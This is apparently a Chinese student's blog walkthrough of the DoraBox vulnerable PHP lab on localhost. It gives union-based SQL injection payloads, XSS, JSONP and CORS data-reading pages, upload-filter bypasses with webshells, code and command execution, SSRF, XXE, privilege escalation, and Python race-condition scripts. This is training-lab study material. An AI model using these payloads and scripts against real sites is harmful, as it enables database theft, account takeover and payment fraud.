DoraBox

DoraBox

  • SQL注入
    • SQLi 数字型
    • SQLi 字符型
    • SQLi 搜索型
  • XSS跨站
    • XSS 反射型
    • XSS 存储型
    • XSS DOM型
  • CSRF
    • JSONP劫持
    • CORS跨域资源读
  • 文件包含
    • 任意文件包含
    • 目录限制文件包
  • 文件上传
    • 任意文件上传
    • JS限制文件上传
    • MIME限制文件
    • 扩展名限制文件
    • 内容限制文件上传
  • 代码/命令
    • 任意代码执行
    • 任意命令执行
  • SSRF
    • SSRF
  • 其他
    • 条件竞争-支付
    • 条件竞争-上传
    • 任意文件读取
    • XXE
  • 越权

SQL注入

SQLi 数字型

数字型,先输入1,回显正常
1 order by 3查看字段数,得到字段数为3
-1 union select 1,2,3,知道2,3处可以看到回显
爆库名-1 union select 1,2,database()得到数据库名为pentest
爆表

-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pentest'

-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

爆字段

-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'

爆数据

-1 union select 1,2,concat_ws(",",id,rest,own) from account

SQLi 字符型

1' or '1'='1回显正常,包裹形式为’ ’
1' order by 3#字段数为3
-1' union select 1,2,3#回显得到2,3
爆数据库名-1' union select 1,2,database()#
爆表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'#

爆数据

-1' union select 1,2,concat_ws(",",id,rest,own) from account#

SQLi 搜索型

1' or 1=1#回显正常(因为这次还有%需要闭合,如果用1’ or ‘1’='1后面的等式不成立)
1' order by 3#得字段数为3
-1' union select 1,2,3#得到回显2,3
爆数据库名-1' union select 1,2,database()#
爆表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'#

爆数据

-1' union select 1,2,concat_ws(",",id,rest,own) from account#

XSS跨站

反射型和存储型是服务端的安全漏洞,DOM型是前端JavaScript自身的安全漏洞。存储型存储在服务器数据库,反射型是URL,DOM型是前端存储

XSS 反射型


DoraBox_第1张图片
得到弹窗,并没有存储下来内容

XSS 存储型

先查看源码
DoraBox_第2张图片
输入后,得到
DoraBox_第3张图片
再一次进入这个网站后,会自动跳转到编写的网页DoraBox_第4张图片
查看源码,已经将所写内容存到数据库了DoraBox_第5张图片

XSS DOM型

得到弹窗
DoraBox_第6张图片
查看源码
DoraBox_第7张图片
然后。。我迷了

CSRF

CSRF(Cross-siterequestforgery跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。

示例:一个 网站用户Bob可能正在浏览聊天论坛,而同时另一个用户Alice也在此论坛中,并且后者刚刚发布了一个具有Bob银行链接的图片消息。设想一下,Alice编写了一个在Bob的银行站点上进行取款的form提交的链接,并将此链接作为图片tag。如果Bob的银行在cookie中保存他的授权信息,并且此cookie没有过期,那么当Bob的浏览器尝试装载图片时将提交这个取款form和他的cookie,这样在没经Bob同意的情况下便授权了这次事务。

JSONP劫持

https://www.cnblogs.com/dowinning/archive/2012/04/19/json-jsonp-jQuery.html

在这里插入图片描述
源码中用到了json,可以跨域因此自己写一个html


	include "../class/function.class.php";
	$reqMethod = "GET";
	$reqValue = "callback";
	$p = new Func($reqMethod, $reqValue);
	$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => '[email protected]', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
	if(!@$_GET['callback']){
		echo $p -> con_function('json_encode',$info);
	}else{
		$callback = htmlspecialchars($_GET['callback']);
		echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
	}
?>

可以得到弹窗,得到里面的addressDoraBox_第8张图片

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function test(result)
        {
            alert(result.address);
        }
</script>
<script type="text/javascript" src="http://127.0.0.1/DoraBox-master/csrf/jsonp.php?callback=test"></script>
</body>
</html>

CORS跨域资源读

https://blog.csdn.net/qq_15437667/article/details/78841335


	if (@$_SERVER['HTTP_ORIGIN']){
		header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);
	}else{
		header("Access-Control-Allow-Origin: *");
	}
	header("Access-Control-Allow-Headers: X-Requested-With");
	header("Access-Control-Allow-Credentials: true");
	header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");

	$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => '[email protected]', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
	echo json_encode($info);
?>

这是ajax原理
https://mp.weixin.qq.com/s?src=11×tamp=1584872580&ver=2232&signature=NI1-02jjsNBGQoaLYztsofV7S4UQ31CTCHU4kaLHQPoru5GIAdlttFJL-Cu4WKviTyHiItuZElNW2bOBya0R90EXEPiFwXb2tur2hDMOpltRuSAnsfikciifSEPayj&new=1

使用Ajax发送http请求(get&post请求)https://www.cnblogs.com/qianguyihao/p/8485028.html
https://www.cnblogs.com/ruckly/p/11006744.html

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Ajax</title>
</head>
<body>
<h1>Ajax 发送 get 请求</h1>
<script>
function ajax() {
  //创建xhr对象 
  var xhr = new XMLHttpRequest();
  //设置响应返回的数据格式
  xhr.responseType = "text";
  //创建一个 GET 请求,采用异步
  xhr.open('GET', 'http://127.0.0.1/DoraBox-master/csrf/userinfo.php', true);
  //注册相关事件回调处理函数
  xhr.onreadystatechange= function(e) { 
    if(this.status == 4||this.status == 200){
	//状态等于4时响应完成,但页面404时仍可接收到响应,所以这里要status(页面状态)==200,既页面正常才给接收响应
        //document.write(this.responseText);
		alert(this.responseText);
    }
  };
  xhr.send();
}
ajax();
</script>
</body>
</html>

DoraBox_第9张图片

文件包含

任意文件包含

可以直接读取
DoraBox_第10张图片
用…/666.txt去读取
DoraBox_第11张图片

目录限制文件包

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>DoraBox - PATH_INCLUDE</title>
</head>
<body>
<?php
	include "../class/function.class.php";
	$p = new Func("GET","file");
	$p -> con_html();
	if (isset($_REQUEST['submit'])) {
		$file = $_REQUEST['file'];
		include './'.$file;
	}
?>
</body>
</html>

查看源码多了一个./加上后可以读取,但是我不加也可以读取,不是很懂。

文件上传

任意文件上传

随便上传什么文件都可以
DoraBox_第12张图片

JS限制文件上传

发现不能上传php文件
DoraBox_第13张图片
先将扩展名改为可提交的类型,然后抓包,上传成功
DoraBox_第14张图片
并且成功连接到菜刀
DoraBox_第15张图片
或者将javascript.enabled关闭,禁用JavaScript(但是不知道为什么,我关闭后还是不行
在这里插入图片描述

MIME限制文件

上传文件,发现文件类型不对
DoraBox_第16张图片
抓包,查看源码,发现其改为以下几种类型即可绕过
将其改为image/gif或者image/jpeg即可绕过
修改类型
DoraBox_第17张图片
文件上传成功
DoraBox_第18张图片

扩展名限制文件

查看源码,发现不允许上传php文件
DoraBox_第19张图片
可以通过抓包该扩展名,改为php3,非合法扩展名后加合法扩展名,或者是用\0(其为16进制中的0x00)截断
在这里插入图片描述
上传成功
DoraBox_第20张图片

内容限制文件上传

DoraBox_第21张图片
可通过合成图片马等饶过
在这里插入图片描述
这样也行(但是我没成功,可能那儿没弄好

代码/命令

任意代码执行

得到报错
在这里插入图片描述

assert(表达式):判断一个表达式是否成立。如果表达式的值为假,整个程序将退出,并输出一条错误信息。如果表达式的值为真则继续执行后面的语句。
当参数为字符串时,会被当作php代码执行。

因此phpinfo()得到执行,拿到webshell

任意命令执行

在这里插入图片描述
echo "1234",可以连接菜刀
DoraBox_第22张图片

SSRF

SSRF

http://www.baidu.com得到显示了该网页
DoraBox_第23张图片
http://127.0.0.1/DoraBox-master可以查看本地文件,和文件包含相似
DoraBox_第24张图片

其他

条件竞争
https://blog.csdn.net/ivalue/article/details/81412494

条件竞争-支付

源码是当给出的钱不大于拥有的钱时,都是可以支付的,只要连续进行交易,就可以在钱还没有更新的时候给出

 
include('../conn.php');
$db = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
$sql = "SELECT rest FROM account";
$rest = intval($db->query($sql)->fetch_assoc()['rest']);
$sql = "SELECT own FROM account";
$own = intval($db->query($sql)->fetch_assoc()['own']);
echo "
余额:{$rest}
支付元给林晨去买辣条

林晨现在手里有{$own}
"
; if ($_POST){ $money = intval($_POST['money']); if($money <= $rest) { $sql = "UPDATE account SET rest=rest-".$money; $db->query($sql); $sql = "UPDATE account SET own=own+".$money; $db->query($sql); echo ""; } else { echo "支付失败,可能是因为您的余额不足。"; } } ?>

因为poc里有一个脚本,可以直接运行,但是我的python跑不了,刚开始是没有requests这个库,下了库之后,python都打不开了

import requests
import threading
import Queue

url = "http://127.0.0.1/DoraBox-master/race_condition/pay.php"
threads = 25
q = Queue.Queue()

for i in range(50):
    q.put(i)

def post():
    while not q.empty():
        q.get()
        r = requests.post(url, data={'money': 1})
        print(r.text)

if __name__ == '__main__':
    for i in range(threads):
        t = threading.Thread(target=post)
        t.start()

    for i in range(threads):
        t.join() 

条件竞争-上传

源码里有一个白名单,上传后,如果不在白名单里,文件就会被删除


show_source(__FILE__);
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./uploads/";
$filename = $_FILES['myfile']['name'];

if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
    if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
        die("error:can not move!");
    }   
} else {
    die("error:not an upload file!");
}

$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n
"
; if ($_FILES['myfile']['error'] > 0){ unlink($newfile); die("Upload file error: "); } $ext = array_pop(explode(".",$_FILES['myfile']['name'])); if (!in_array($ext,$allowtype)){ unlink($newfile); die("error:upload the file type is not allowed,delete the file!"); } ?>

我们通过多个文件一同发送,在删除文件之前,得到访问,这是poc里的脚本

import requests
import threading
import os

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)

        self.url = 'http://127.0.0.1/DoraBox-master/race_condition/key.php' #上传的文件地址
        self.uploadUrl = 'http://127.0.0.1/DoraBox-master/race_condition/upload.php' #上传文件的地址

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print('[*] create file info.php success.')
            os._exit(0)

    def _upload(self):
        print('upload file...')
        file = {'myfile': open('key.php', 'r')} #本地脚本木马
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(5):
                self._get()

            for i in range(10):
                self._upload()
                self._get()

if __name__ == '__main__':
    threads = 50    

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join() 

任意文件读取

我直接去读取上一道题用到的key.php
DoraBox_第25张图片
…/key.php也不行
…/race_condition/key.php进行访问后会显示里面的内容,但并不会执行
在这里插入图片描述

XXE

尝试登录时,发现都会登陆成功
DoraBox_第26张图片
这是前端JavaScript的代码

function doLogin(){
	var username = document.getElementById("name").value;
	var password = document.getElementById("pwd").value;

	if(username == "" || password == ""){
		alert("请输入账户/密码!");
		return;
	}
	
	var data = "" + username + "" + password + ""; 
    $.ajax({
        type: "POST",
        url: "login.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: alert("登录成功!")
    }); 
}

看了源码,也没看懂


	//code refence:https://github.com/c0ny1/xxe-lab/blob/master/php_xxe/
	header('Content-Type: text/html; charset=utf-8');
	include "../class/function.class.php";
	$account = "admin";
	$pwd = "admin";
	libxml_disable_entity_loader(false);
	$xmlfile = file_get_contents('php://input');
	try{
		$dom = new DOMDocument();
		$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
		$creds = simplexml_import_dom($dom);
		$username = $creds->username;
		$password = $creds->password;
	if($username == $account && $password == $pwd){
		$result = sprintf("%d%s",1,$username);
	}else{
		$result = sprintf("%d%s",0,$username);
	}	
	}catch(Exception $e){
		$result = sprintf("%d%s",3,$e->getMessage());
	}
	echo $result;
?>

libxml_disable_entity_loader()作用是设置是否禁止从外部加载XML实体,设为true就是禁止,目的是防止XML注入攻击。
file_get_contents() 函数把整个文件读入一个字符串中。
simplexml_import_dom() 函数从 DOM 节点返回 SimpleXMLElement 对象。

因为前端写的数据类型就是xml,可以进行xml注入攻击,而且是post

XML实体注入漏洞
https://www.cnblogs.com/xiaozi/p/5785165.html

DoraBox_第27张图片

越权

先注册两个用户
DoraBox_第28张图片
DoraBox_第29张图片
水平越权
在这里插入图片描述
在这里插入图片描述
将其中一个id换成另一个的id,另一个的密码得到改变,去尝试登录,登录成功
DoraBox_第30张图片
垂直越权
将cookie中的id修改为1,登录管理员成功
DoraBox_第31张图片
将普通用户改为管理员,不停修改
在这里插入图片描述

你可能感兴趣的:(DoraBox)